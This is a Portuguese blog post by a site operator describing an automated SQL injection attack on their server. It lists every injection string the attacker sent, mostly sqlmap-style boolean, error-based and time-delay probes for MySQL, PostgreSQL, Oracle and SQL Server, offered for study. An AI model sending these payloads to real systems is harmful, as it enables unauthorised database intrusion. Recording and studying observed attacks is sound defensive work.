Hoje algum criminoso tentou invadir nossos servidores através de um ataque baseado na técnica SQL Injection, a qual, obviamente, já estamos preparados para mitigar.
Ao fazermos o rastreio da origem dos ataques identificamos que o marginal supostamente estaria na cidade de Mônaco mas, pela lógica, na verdade o meliante estava escondido atrás de uma VPN e daí para frente não mais nos interessa continuar com a investigação.
A julgar pela velocidade que as tentativas foram realizadas, elas foram disparadas a partir de um sistema automatizado. Foram várias tentativas por minuto, não daria tempo de um ser humano ter digitado, ainda que utilizando técnica de copiar e colar.
O ataque só foi interrompido quando tirei o site do ar propositalmente, colocando em seu lugar uma mensagem do tipo “em manutenção” com um recado para o criminoso “SQL Injection não vai funcionar / SQL Injection won’t work” e pedindo que ele entrasse em contato comigo, coisa que não aconteceu. Após 5 minutos retornei o ao normal e as tentativas de ataque haviam cessado.
Uma coisa que nos chamou a atenção é que o sistema invasor parece ter uma lista de templates de ataque, e sobre esses templates ele faz variações. Observe, por exemplo, as linhas 5 até 11. São exatamente o mesmo tipo de ataque, variando apenas o valor utilizado. Depois temos as linhas 13 e 15 realizando o mesmo tipo de ataque, o padrão se repete nas linhas 17 e 19, 21 e 23 e por aí vai.
Uma coisa que eu não entendi e, caso alguém saiba, por favor, explique nos comentários, foram as duas primeiras tentativas: um número 1 e depois o número 1677. Essas entradas são inofensivas, que tipo de ameaça isso pode oferecer? Seria o bandido apenas testando se o servidor está respondendo?
Para quem estuda os ataques através de SQL Injection, vou listar aqui todas as strings utilizadas pelo bandido para enriquecer seu conhecimento:
1 1677 1 AND 5587=5587-- DOmG 1 AND 5373=5741-- uuQo 1 AND 5587=5587 1 AND 4916=4322 1) AND 5587=5587 AND (8357=8357 1) AND 4617=3884 AND (6155=6155 (SELECT (CASE WHEN (5478=9054) THEN 1 ELSE (SELECT 9054 UNION SELECT 4221) END)) (SELECT (CASE WHEN (6380=6380) THEN 1 ELSE (SELECT 7057 UNION SELECT 2667) END)) 1 AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71))-- TkcS 1 AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) 1) AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND (2657=2657 1 AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC)-- NlMj 1) AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND (5220=5220 1 AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) 1) AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (9779=9779 1 AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL)-- xLss 1 AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113)))-- Khkn 1);SELECT PG_SLEEP(5)-- 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 1 AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY)-- Lmsu 1 AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) 1 AND 2762=(SELECT 2762 FROM PG_SLEEP(5))-- YNFO 1 AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) 1) AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND (6439=6439 1) AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (2761=2761 1 AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) 1) AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND (2391=2391 1 AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) 1 AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5)-- jWgf 1 ORDER BY 1-- awMg 1 ORDER BY 1-- eXqx 1;SELECT PG_SLEEP(5)-- 1) ORDER BY 1-- cUad 1 WAITFOR DELAY \'0:0:5\'-- fhvR 1);WAITFOR DELAY \'0:0:5\'-- 1\';WAITFOR DELAY \'0:0:5\'-- (SELECT CONCAT(CONCAT(\'qzpzq\',(CASE WHEN (4320=4320) THEN \'1\' ELSE \'0\' END)),\'qbzjq\')) 1.),\'\",))(. 1\') AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND (\'nufZ\'=\'nufZ 1\') WAITFOR DELAY \'0:0:5\' AND (\'FEdg\'=\'FEdg 1) AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND (3380=3380 1\');WAITFOR DELAY \'0:0:5\'-- (essa eu achei boa!) 1\' WAITFOR DELAY \'0:0:5\' AND \'FDMX\'=\'FDMX 1\' AND 1996=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(109)||CHR(86)||CHR(110),5) AND \'Xrjk\'=\'Xrjk 1 WAITFOR DELAY \'0:0:5\' 1) WAITFOR DELAY \'0:0:5\' AND (2255=2255 1\' AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND \'cgoX\'=\'cgoX 1\') AND 2762=(SELECT 2762 FROM PG_SLEEP(5)) AND (\'oStc\'=\'oStc 1\' AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND \'VfLE\'=\'VfLE 1\') AND (SELECT 2836 FROM (SELECT(SLEEP(5)))EEkY) AND (\'ykcE\'=\'ykcE 1\';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 1\');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(67)||CHR(105)||CHR(121),5) FROM DUAL-- 1\') AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND (\'pnIV\'=\'pnIV 1\';SELECT PG_SLEEP(5)-- 1\');SELECT PG_SLEEP(5)-- 1\' AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND \'oigJ\'=\'oigJ 1\') AND 6395=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (6395=6395) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)||CHR(62))) FROM DUAL) AND (\'tHhR\'=\'tHhR 1\' AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND \'Choy\'=\'Choy 1\') AND 1500 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (1500=1500) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(106)+CHAR(113))) AND (\'avEv\'=\'avEv 1\' AND 9257=CAST((CHR(113)||CHR(122)||CHR(112)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9257=9257) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113)) AS NUMERIC) AND \'EpCA\'=\'EpCA 1\' AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND \'LFaJ\'=\'LFaJ 1\') AND 5587=5587 AND (\'oDiO\'=\'oDiO 1\') AND EXTRACTVALUE(4951,CONCAT(0x5c,0x717a707a71,(SELECT (ELT(4951=4951,1))),0x71627a6a71)) AND (\'FhEh\'=\'FhEh 1\' AND 5587=5587 AND \'KAbS\'=\'KAbS 1\' AND 5039=4825 AND \'JYgO\'=\'JYgO 1\') AND 5708=8665 AND (\'LSpw\'=\'LSpw 1\'ojSOXy<\'\">cIoUrf
0 comentário